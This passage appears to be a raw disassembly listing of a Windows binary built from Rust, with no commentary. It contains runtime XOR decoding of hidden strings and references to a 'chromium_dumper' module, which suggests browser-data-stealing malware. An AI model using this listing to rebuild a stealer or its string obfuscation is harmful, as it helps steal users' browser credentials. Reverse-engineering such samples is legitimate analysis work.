xor r8d, dword [rax + rsi]
mov dword [rsp + rsi + 0x30], r8d
mov esi, 4
xor edx, edx
jmp 0x14011de04
movzx edi, byte [rax + 6]
movzx ebx, word [rax + 4]
xor ebx, 0x9b29
xor dil, 0x5f
mov ebp, dword [rsp + 0x30]
xor esi, esi
mov ecx, 7
xor edx, edx
call fcn.1401674a3
mov r13, rax
mov r12, rdx
mov byte [rax + 6], dil
mov word [rax + 4], bx
mov dword [rax], ebp
lea rax, [0x140445f36]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x71cfb9ab6d80fe0b
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140140ef2
and qword [rsp + 0x30], 0
mov dl, 1
lea rcx, [0x1404461c6]
test dl, 1
je 0x14011df6f
movzx r8d, byte [rsi + rcx]
mov rdx, rsi
or rdx, 1
movzx edx, byte [rdx + rcx]
mov r9, rsi
or r9, 2
movzx r9d, byte [r9 + rcx]
mov r10, rsi
or r10, 3
movzx r10d, byte [r10 + rcx]
mov r11, rsi
or r11, 4
movzx r11d, byte [r11 + rcx]
mov rdi, rsi
or rdi, 5
movzx edi, byte [rdi + rcx]
mov rbx, rsi
or rbx, 6
mov rbp, rsi
or rbp, 7
movzx ebx, byte [rbx + rcx]
movzx ebp, byte [rbp + rcx]
shl rbp, 0x38
shl rbx, 0x30
or rbx, rbp
shl rdi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rdi
or rdx, rbx
xor rdx, qword [rax + rsi]
mov qword [rsp + rsi + 0x30], rdx
mov esi, 8
xor edx, edx
jmp 0x14011deca
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0xc77f
lea rdx, [rsp + 0x30]
mov word [rdx + 8], ax
xor cl, 0xba
mov byte [rdx + 0xa], cl
mov rax, qword [rdx]
mov qword [rsp + 0x3e0], rax
mov eax, dword [rdx + 7]
mov dword [rsp + 0x3e7], eax
xor esi, esi
mov ecx, 0xb
xor edx, edx
call fcn.1401674a3
mov rcx, qword [rsp + 0x3e0]
mov qword [rax], rcx
mov ecx, dword [rsp + 0x3e7]
mov dword [rax + 7], ecx
mov rcx, qword [rsp + 0x28]
mov qword [rcx], r15
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], 0xc
mov qword [rcx + 0x18], r13
mov qword [rcx + 0x20], r12
mov qword [rcx + 0x28], 7
mov qword [rcx + 0x30], rax
mov qword [rcx + 0x38], rdx
mov qword [rcx + 0x40], 0xb
lea rax, [rcx + 0x48]
mov qword [rsp + 0x3e0], rcx
mov qword [rsp + 0x3e8], 3
mov qword [rsp + 0x3d0], rax
mov qword [rsp + 0x3f8], rax
mov r14, qword [rsp + 0x458]
imul rdx, qword [rsp + 0x468], 0x18
lea r13, [rsp + 0x1e0]
lea r12, [0x1404461d8]
mov qword [rsp + 0x1d0], r14
mov qword [rsp + 0x270], rdx
cmp rsi, 3
je 0x14011e777
imul rax, rsi, 0x18
inc rsi
mov r15, qword [rcx + rax]
test r15, r15
je 0x14011e781
mov qword [rsp + 0x198], rsi
mov r8, qword [rcx + rax + 8]
mov qword [rsp + 0x190], r8
mov rbp, qword [rcx + rax + 0x10]
mov rsi, rdx
test rsi, rsi
je 0x14011e1ea
mov qword [rsp + 0x3b8], r14
mov rcx, r13
mov rdx, r15
mov r8, rbp
call fcn.14004b6a0
mov rdi, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1f0]
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov rdx, rdi
call fcn.140253320
mov rdx, qword [rsp + 0x1e8]
mov rcx, rdi
call fcn.14015e77d
lea rdi, [rsp + 0x288]
mov rcx, rdi
mov rdx, rbx
lea r8, str.src_chromium_dumper.rs
call fcn.14012d60f
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x480], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x30], rdi
lea rax, [0x140007e8f]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x480]
mov qword [rsp + 0x40], rax
lea rax, [0x1401675d8]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x370]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x3b8]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], 4
mov r8d, 4
mov rcx, r13
mov rdx, r12
mov r9, rbx
call fcn.140004cc3
lea rcx, [rsp + 0x340]
mov rdx, r13
call fcn.14012d661
mov rcx, qword [rsp + 0x288]
mov rdx, qword [rsp + 0x290]
call fcn.14015e77d
mov rdi, qword [rsp + 0x340]
mov r13, qword [rsp + 0x348]
mov rbx, qword [rsp + 0x350]
mov rcx, rdi
mov rdx, rbx
call fcn.14012d6e9
test al, al
jne 0x14011e21c
add r14, 0x18
mov rcx, rdi
mov rdx, r13
call fcn.14015e77d
add rsi, 0xffffffffffffffe8
lea r13, [rsp + 0x1e0]
jmp 0x14011e08a
mov rcx, r15
mov rdx, qword [rsp + 0x190]
call fcn.14015e77d
mov rcx, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x198]
mov r14, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x270]
jmp 0x14011e04f
imul rax, qword [rsp + 0x198], 0x18
mov rcx, qword [rsp + 0x28]
add rcx, rax
lea rsi, [rsp + 0x3e0]
mov qword [rsi + 0x10], rcx
lea r14, [rsp + 0x118]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.14025a880
mov rcx, rdi
mov rdx, r13
call fcn.14015e77d
mov rcx, r15
mov rdx, qword [rsp + 0x190]
call fcn.14015e77d
mov rcx, rsi
call fcn.140118055
lea rcx, [rsp + 0x458]
call fcn.140171bf7
movdqu xmm0, xmmword [r14]
movdqu xmm1, xmmword [r14 + 0x10]
movdqu xmmword [rsp + 0x2c7], xmm0
lea rcx, [rsp + 0x1a0]
movdqa xmmword [rcx], xmm0
movdqa xmmword [rcx + 0x10], xmm1
call fcn.14013be82
mov rsi, rdx
test rax, rax
je 0x14011e634
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.14012d781
lea r14, [rsp + 0x30]
lea r13, [rsp + 0x1e0]
jmp 0x14011e875
lea rax, [0x14043e426]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x90e7b0d3c1325e80
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14013f7bd
and dword [rsp + 0x38], 0
and qword [rsp + 0x30], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x140447bd8]
lea r13, [0x140007e8f]
test r8b, 1
je 0x14011e3c5
movzx r9d, byte [rdx + rcx]
mov r8, rdx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rdx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov r14, rdx
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, rdx
or r15, 6
mov r12, rdx
or r12, 7
movzx r15d, byte [r15 + rcx]
movzx r12d, byte [r12 + rcx]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, r14
or r8, r15
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x30], r8
mov edx, 8
xor r8d, r8d
jmp 0x14011e31c
mov edx, 8
cmp rdx, 0xb
ja 0x14011e3f8
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x2d000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0x30], r8d
add rdx, 4
jmp 0x14011e3ca
lea r14, [rsp + 0x30]
mov eax, dword [r14 + 8]
lea rdi, [rsp + 0x2c0]
mov dword [rdi + 8], eax
mov rax, qword [r14]
mov qword [rdi], rax
mov r8d, 0xc
mov rcx, r14
mov rdx, rdi
call fcn.140253320
lea r8, str.src_chromium_dumper.rs
mov rcx, rbx
mov rdx, r14
call fcn.14012d60f
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x3e0], rax
mov qword [r14], rbx
mov qword [r14 + 8], r13
lea rax, [rsp + 0x1a0]
mov qword [r14 + 0x10], rax
lea rax, [0x1401675d8]
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x20], rsi
mov qword [r14 + 0x28], rax
mov qword [rsp + 0x20], 3
lea rdx, [0x140447b98]
lea r15, [rsp + 0x110]
lea r14, [rsp + 0x30]
mov r8d, 4
mov rcx, r15
mov r9, r14
call fcn.140004cc3
mov rcx, r15
call fcn.1402594b0
mov rcx, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
call fcn.14015e77d
lea rax, [0x14043f161]
mov qword [r14], rax
mov rcx, qword [r14]
movabs rax, 0x9e061b9f8fe0124a
mov qword [r14], rax
mov rdx, qword [r14]
call fcn.14013e2f9
and dword [r14 + 3], 0
and dword [r14], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x140447c00]
test r8b, 1
je 0x14011e554
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 3
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
movzx r10d, byte [r10 + rdx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0x30], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x14011e4fd
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0x65f
xor cl, 0x3d
lea r14, [rsp + 0x30]
mov r8d, dword [r14]
lea rdx, [rsp + 0x1a0]
mov dword [rdx], r8d
mov byte [rdx + 6], cl
mov word [rdx + 4], ax
mov r8d, 7
mov rcx, r14
call fcn.140253320
lea r8, str.src_chromium_dumper.rs
mov rcx, rbx
mov rdx, r14
call fcn.14012d60f
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x2c0], rax
mov qword [r14], rbx
mov qword [r14 + 8], r13
mov qword [r14 + 0x10], rsi
lea rax, [0x1401675d8]
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x20], rdi
mov qword [r14 + 0x28], rax
mov qword [rsp + 0x20], 3
lea rdx, [0x140447b98]
lea rsi, [rsp + 0x110]
lea r9, [rsp + 0x30]
mov r8d, 4
mov rcx, rsi
call fcn.140004cc3
mov rcx, rsi
call fcn.1402594b0
mov rcx, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
call fcn.14015e77d
mov rax, qword [rsp + 0x3d8]
mov byte [rax], 0x13
jmp 0x14012d003
mov ecx, 0x2000
xor edx, edx
call fcn.140287933
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 0x2000
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x120], xmm0
and qword [rsp + 0x130], 0
mov qword [rsp + 0x138], rsi
mov rdi, qword [rsp + 0x1d8]
lea rsi, [rdi + 0x30]
cmp qword [rdi + 0x40], 0
lea r14, [rsp + 0x30]
lea r13, [rsp + 0x1e0]
je 0x14011e6d1
lea rdi, [rsp + 0x1e0]
mov qword [rdi], 1
movdqu xmmword [rdi + 8], xmm0
lea rbx, [rsp + 0x30]
lea rdx, [rsp + 0x110]
mov rcx, rbx
mov r8, rdi
call fcn.1400b01bb
cmp qword [rbx], 0
mov rdi, qword [rdi]
je 0x14011e739
mov rsi, qword [rsp + 0x38]
jmp 0x14011e762
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x110]
mov r8, rsi
call fcn.1400b01bb
mov rcx, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x40]
lea r9, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srciomod.rs
xor r8d, r8d
call fcn.1400aef67
mov r8, rdx
lea rsi, [rsp + 0x30]
mov rcx, rsi
mov rdx, rax
call fcn.140056080
cmp qword [rsi], 0
je 0x14011e827
cmp qword [rsp + 0x1e0], 0
je 0x14011e847
mov rsi, qword [rsp + 0x1e8]
jmp 0x14011e84e
mov r8, qword [rsp + 0x1f0]
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov rdx, rdi
call fcn.140056080
cmp qword [rbx], 0
je 0x14012d044
lea rsi, str.stream_did_not_contain_valid_UTF_8
mov rdx, qword [rsp + 0x1e8]
mov rcx, rdi
call fcn.14015e77d
jmp 0x14011e85b
mov rax, qword [rsp + 0x3d0]
jmp 0x14011e78b
imul rax, rsi, 0x18
add rcx, rax
mov rax, rcx
lea rcx, [rsp + 0x3e0]
mov qword [rcx + 0x10], rax
call fcn.140118055
lea rcx, [rsp + 0x458]
call fcn.140171bf7
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x2df], rax
movups xmm0, xmmword [rsp + 0x111]
movups xmm1, xmmword [rsp + 0x121]
movaps xmmword [rsp + 0x2d0], xmm1
movaps xmmword [rsp + 0x2c0], xmm0
movdqu xmm1, xmmword [rsp + 0x138]
movdqu xmmword [rsp + 0x58], xmm1
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x68], rax
movups xmmword [rsp + 0x31], xmm0
movdqa xmm0, xmmword [rsp + 0x2d0]
movdqu xmmword [rsp + 0x41], xmm0
mov rax, qword [rsp + 0x2df]
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x30], 0x13
mov rsi, qword [rsp + 0x40]
lea r14, [rsp + 0x30]
jmp 0x14011e888
mov rax, qword [rdi + 0x40]
mov rsi, qword [rsp + 0x1e8]
cmp qword [rsp + 0x1e0], 0
mov qword [rdi + 0x40], rax
jne 0x14011e85b
jmp 0x14012d069
lea rsi, str.stream_did_not_contain_valid_UTF_8
mov rax, qword [rsp + 0x1d8]
and qword [rax + 0x40], 0
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.14012d781
lea rcx, [rsp + 0x110]
call fcn.14012d79e
cmp byte [rsp + 0x30], 0x1a
mov rsi, qword [rsp + 0x40]
jne 0x14011e888
mov rax, qword [rsp + 0x38]
jmp 0x14011e894
lea rcx, [rsp + 0x30]
call fcn.1401180de
xor eax, eax
movabs rcx, 0x400000020
lea r8, [0x14045c198]
lea rdi, [rsp + 0x5d0]
mov qword [rdi], rax
mov qword [rdi + 8], rsi
mov qword [rsp + 0x1e0], rdi
mov edx, 2
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x40], rdx
and qword [rsp + 0x50], 0
lea rax, [0x140007fff]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x58], rcx
mov byte [rsp + 0x60], 3
lea rcx, [rsp + 0x110]
mov qword [rcx], r8
mov qword [rcx + 8], rdx
mov qword [rcx + 0x20], r14
mov eax, 1
mov qword [rcx + 0x28], rax
mov qword [rcx + 0x10], r13
mov qword [rcx + 0x18], rax
call fcn.1402594b0
mov rdx, qword [rdi]
test rdx, rdx
je 0x14012174a
mov r8, qword [rsp + 0x5d8]
lea rsi, [rsp + 0x30]
mov rcx, rsi
call fcn.14013c471
mov rsi, qword [rsi]
test rsi, rsi
je 0x140124709
mov r8, qword [rsp + 0x40]
cmp r8, 4
jbe 0x14012d5f6
lea rbx, [rsp + 0x30]
mov rdi, qword [rbx + 8]
add r8, 0xfffffffffffffffb
lea rdx, [rsi + 5]
mov rcx, rbx
call fcn.140144a9c
mov al, byte [rbx]
cmp al, 0x1a
jne 0x140124719
mov qword [rsp + 0x518], rdi
mov qword [rsp + 0x520], rsi
lea rsi, [rsp + 0x40]
mov rax, qword [rsi + 8]
movdqu xmm0, xmmword [rsi - 8]
movdqa xmmword [rsp + 0x390], xmm0
mov qword [rsp + 0x3a0], rax
mov rdx, qword [0x1403a0090]
mov r8, qword [0x1403a00a0]
mov rcx, rbx
call fcn.14011944f
mov rax, qword [rsi - 0x10]
mov rcx, qword [rsi - 8]
imul rdx, qword [rsi], 0x18
add rdx, rax
mov qword [rsp + 0x288], rax
mov qword [rsp + 0x290], rcx
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x2a0], rdx
mov rax, qword [rsp + 0x1d8]
lea rcx, [rax + 0x90]
mov qword [rsp + 0x3d0], rcx
lea rcx, [rax + 0x48]
mov qword [rsp + 0x4d0], rcx
lea rcx, [rax + 0x60]
mov qword [rsp + 0x588], rcx
add rax, 0x78
mov qword [rsp + 0x580], rax
xorps xmm6, xmm6
lea rbx, [0x140446add]
lea rbp, [0x140446ae9]
lea r13, [0x140446af5]
mov rax, qword [rsp + 0x298]
cmp rax, qword [rsp + 0x2a0]
je 0x14012477f
lea rcx, [rax + 0x18]
mov qword [rsp + 0x298], rcx
mov r14, qword [rax]
test r14, r14
je 0x14012477f
mov r15, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov rcx, qword [rsp + 0x3d0]
call fcn.14012d7ca
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov rdx, r14
mov qword [rsp + 0x1d0], rdi
mov r8, rdi
call fcn.14004b6a0
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0x1d8]
mov r8, rsi
call fcn.14012d7de
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x14012ce40
mov qword [rsp + 0x2b8], r15
mov qword [rsp + 0x190], r14
mov r12, qword [rsp + 0x38]
imul r15, qword [rsp + 0x48], 0x48
mov rax, qword [rsp + 0x40]
lea rcx, [r12 + r15]
mov qword [rsp + 0x1a0], r12
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x1a8], rax
mov qword [rsp + 0x268], rcx
mov qword [rsp + 0x1b8], rcx
lea rax, [rsp + 0x390]
mov qword [rsp + 0x1c0], rax
lea r14, [r12 + 0x48]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x198], r12
test r15, r15
je 0x14011ed10
lea rax, [r14 - 0x48]
cmp qword [rax], 0
je 0x14011ed18
mov ecx, 9
lea rdi, [rsp + 0x40]
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x30], r12
mov rcx, qword [rsp + 0x28]
mov qword [rsp + 0x38], rcx
cmp qword [rsp + 0x80], 0
je 0x14011ebd1
cmp qword [rsp + 0x50], 0
je 0x14011ebd1
mov ecx, 9
lea r12, [rsp + 0x2c0]
mov rdi, r12
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov rdx, r12
call fcn.140010a18
lea rdi, [rsp + 0x1e0]
mov rcx, rdi
mov rdx, rsi
xor r8d, r8d
call fcn.14000cec5
cmp qword [rsp + 0x1e0], 0
je 0x14011ebe0
mov ecx, 9
mov rsi, rdi
lea rdi, [rsp + 0x3e0]
rep movsq qword [rdi], qword [rsi]
jmp 0x14011ec13
lea rcx, [rsp + 0x40]
call fcn.1400064e8
jmp 0x14011ed03
mov rcx, rsi
mov rdx, r12
call fcn.140010a18
mov r8, qword [rsp + 0x390]
mov r9, qword [rsp + 0x3a0]
lea rcx, [rsp + 0x3e0]
mov rdx, rsi
call fcn.14000cec5
mov rcx, rdi
call fcn.1400053de
mov rcx, r12
call fcn.1400064e8
mov rax, qword [rsp + 0x3e0]
lea rcx, [rsp + 0x3e8]
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1f0], xmm1
movaps xmmword [rsp + 0x200], xmm2
movaps xmmword [rsp + 0x210], xmm3
test rax, rax
je 0x14011ecee
movaps xmm0, xmmword [rsp + 0x1e0]
movaps xmm1, xmmword [rsp + 0x1f0]
movaps xmm2, xmmword [rsp + 0x200]
movaps xmm3, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0x140], xmm3
movaps xmmword [rsp + 0x130], xmm2
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov rcx, qword [rsp + 0x28]
mov qword [rcx], rax
movdqa xmm0, xmmword [rsp + 0x110]
movdqa xmm1, xmmword [rsp + 0x120]
movaps xmm2, xmmword [rsp + 0x130]
movaps xmm3, xmmword [rsp + 0x140]
movdqu xmmword [rcx + 8], xmm0
movdqu xmmword [rcx + 0x18], xmm1
movups xmmword [rcx + 0x28], xmm2
movups xmmword [rcx + 0x38], xmm3
add rcx, 0x48
mov qword [rsp + 0x28], rcx
jmp 0x14011ecfb
lea rcx, [rsp + 0x3e0]
call fcn.1400053de
mov r12, qword [rsp + 0x198]
add r14, 0x48
add r15, 0xffffffffffffffb8
jmp 0x14011eb29
mov r14, qword [rsp + 0x268]
mov qword [rsp + 0x1b0], r14
mov rax, qword [rsp + 0x28]
sub rax, r12
xor edx, edx
mov ecx, 0x48
div rcx
mov rdi, rax
lea rsi, [rsp + 0x1a0]
mov rcx, rsi
call fcn.14012e4e6
mov qword [rsp + 0x3b8], r12
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x3c0], rax
mov qword [rsp + 0x270], rdi
mov qword [rsp + 0x3c8], rdi
mov rcx, rsi
call fcn.14012e540
lea rsi, [rsp + 0x110]
mov rcx, rsi
mov r14, qword [rsp + 0x190]
mov rdx, r14
mov r8, qword [rsp + 0x1d0]
call fcn.14004b6a0
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0x1d8]
mov r8, rsi
call fcn.14012e577
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x14012ce9b
mov rdi, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
imul r12, qword [rsp + 0x48], 0x30
lea r15, [rdi + r12]
mov qword [rsp + 0x2c0], rdi
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0x2d8], r15
lea rsi, [rdi + 0x30]
mov r14, rdi
lea rcx, [rsp + 0x40]
test r12, r12
je 0x14011eedf
lea rax, [rsi - 0x30]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movdqa xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x200], xmm2
movdqa xmmword [rsp + 0x1f0], xmm1
cmp qword [rsp + 0x1e0], 0
je 0x14011eef2
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x130], xmm2
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], r14
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
cmp qword [rsp + 0x50], 0
je 0x14011eec3
cmp qword [rsp + 0x68], 0
je 0x14011eec3
movdqa xmm0, xmmword [rsp + 0x110]
movdqa xmm1, xmmword [rsp + 0x120]
movaps xmm2, xmmword [rsp + 0x130]
movups xmmword [r14 + 0x20], xmm2
movdqu xmmword [r14 + 0x10], xmm1
movdqu xmmword [r14], xmm0
add r14, 0x30
jmp 0x14011eed2
lea rcx, [rsp + 0x40]
call fcn.1401196b1
lea rcx, [rsp + 0x40]
add rsi, 0x30
add r12, 0xffffffffffffffd0
jmp 0x14011edf9
mov qword [rsp + 0x2d0], r15
and qword [rsp + 0x1e0], 0
jmp 0x14011eefa
mov qword [rsp + 0x2d0], rsi
lea rcx, [rsp + 0x1e0]
call fcn.14012ee7c
mov rax, r14
sub rax, rdi
xor edx, edx
mov ecx, 0x30
div rcx
mov r15, rax
lea r12, [rsp + 0x2c0]
mov rcx, r12
call fcn.14012ee87
mov qword [rsp + 0x480], rdi
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x488], rax
mov qword [rsp + 0x490], r15
mov rcx, r12
call fcn.14012eee1
cmp r14, rdi
je 0x14011f41d
imul rsi, r15, 0x30
add rsi, rdi
mov rcx, r15
call fcn.14022aec6
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], rdx
and qword [rsp + 0x120], 0
lea r14, [rsp + 0x110]
mov rcx, r14
mov rdx, r15
call fcn.14022af29
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x120]
lea rdx, [rsp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rax
mov rcx, rdi
mov rdx, rsi
lea rsi, [rsp + 0x30]
mov r8, rsi
call fcn.140001450
mov r8, qword [rsp + 0x120]
mov qword [rsp + 0x40], r8
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x30], xmm0
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x340]
lea r9, str._nValue__cannot_be_turned_into_a_CIMTYPE
call fcn.14022aff6
mov rcx, rsi
call fcn.140171bf7
mov rax, qword [rsp + 0x278]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x3e0]
call fcn.14004b6a0
lea rcx, [rsp + 0x1e0]
mov rdx, qword [rsp + 0x190]
mov r8, qword [rsp + 0x1d0]
call fcn.14004b6a0
mov rdi, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1f0]
mov rcx, rsi
mov rdx, rdi
call fcn.14012ef67
mov rcx, rsi
call fcn.14012ef9c
mov rcx, rax
lea r8, str.src_chromium_dumper.rs
call fcn.14012f02d
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], rdx
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x120], rax
lea rax, [0x140076e7c]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], 2
mov r8d, 2
mov rcx, rsi
lea rdx, [0x140446248]
mov r9, r14
call fcn.140004cc3
mov rcx, r12
mov rdx, rsi
call fcn.14012d661
mov rdx, qword [rsp + 0x1e8]
mov rcx, rdi
call fcn.14015e77d
mov rdi, qword [rsp + 0x2c0]
mov r15, qword [rsp + 0x2c8]
mov r8, qword [rsp + 0x2d0]
mov rcx, r12
mov rdx, rdi
call fcn.14004ac70
lea rax, [0x1404473c4]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
movabs rax, 0x28d17bf97cfe55f3
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.14014092d
and qword [rsp + 0x30], 0
mov dl, 1
xor ecx, ecx
test dl, 1
je 0x14011f20b
lea r12, [0x140446830]
movzx r8d, byte [rcx + r12]
mov rdx, rcx
or rdx, 1
movzx edx, byte [rdx + r12]
mov r9, rcx
or r9, 2
movzx r9d, byte [r9 + r12]
mov r10, rcx
or r10, 3
movzx r10d, byte [r10 + r12]
mov r11, rcx
or r11, 4
movzx r11d, byte [r11 + r12]
mov rsi, rcx
or rsi, 5
movzx esi, byte [rsi + r12]
mov r14, rcx
or r14, 6
movzx r14d, byte [r14 + r12]
shl r14, 0x30
shl rsi, 0x28
shl r11, 0x20
shl r10, 0x18
shl r9, 0x10
shl rdx, 8
or rdx, r8
or rdx, r9
or rdx, r10
or rdx, r11
or rdx, rsi
movabs r8, 0xd900000000000000
add rdx, r8
or rdx, r14
xor rdx, qword [rax + rcx]
mov qword [rsp + rcx + 0x30], rdx
mov ecx, 8
xor edx, edx
jmp 0x14011f162
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x370], rax
lea rax, [rsp + 0x370]
mov qword [rsp + 0x458], rax
mov qword [rsp + 0x460], 8
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x110], rax
lea rax, [0x140007e8f]
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x458]
mov qword [rsp + 0x120], rcx
lea rcx, [0x140076e7c]
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x130], rcx
mov ecx, 2
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rcx
and qword [rsp + 0x50], 0
mov qword [rsp + 0x138], rax
mov edx, 0x20
mov qword [rsp + 0x58], rdx
mov al, 3
mov byte [rsp + 0x60], al
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x78], rcx
mov r8d, 1
mov qword [rsp + 0x88], r8
mov qword [rsp + 0x90], rdx
mov byte [rsp + 0x98], al
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rdx
mov byte [rsp + 0xd0], al
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xe8], rcx
mov qword [rsp + 0xf8], r8
mov qword [rsp + 0x100], rdx
mov byte [rsp + 0x108], al
lea rax, [0x1404467c8]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 5
lea rax, [rsp + 0x30]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x208], 4
lea rax, [rsp + 0x110]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 3
lea rsi, [rsp + 0x1a0]
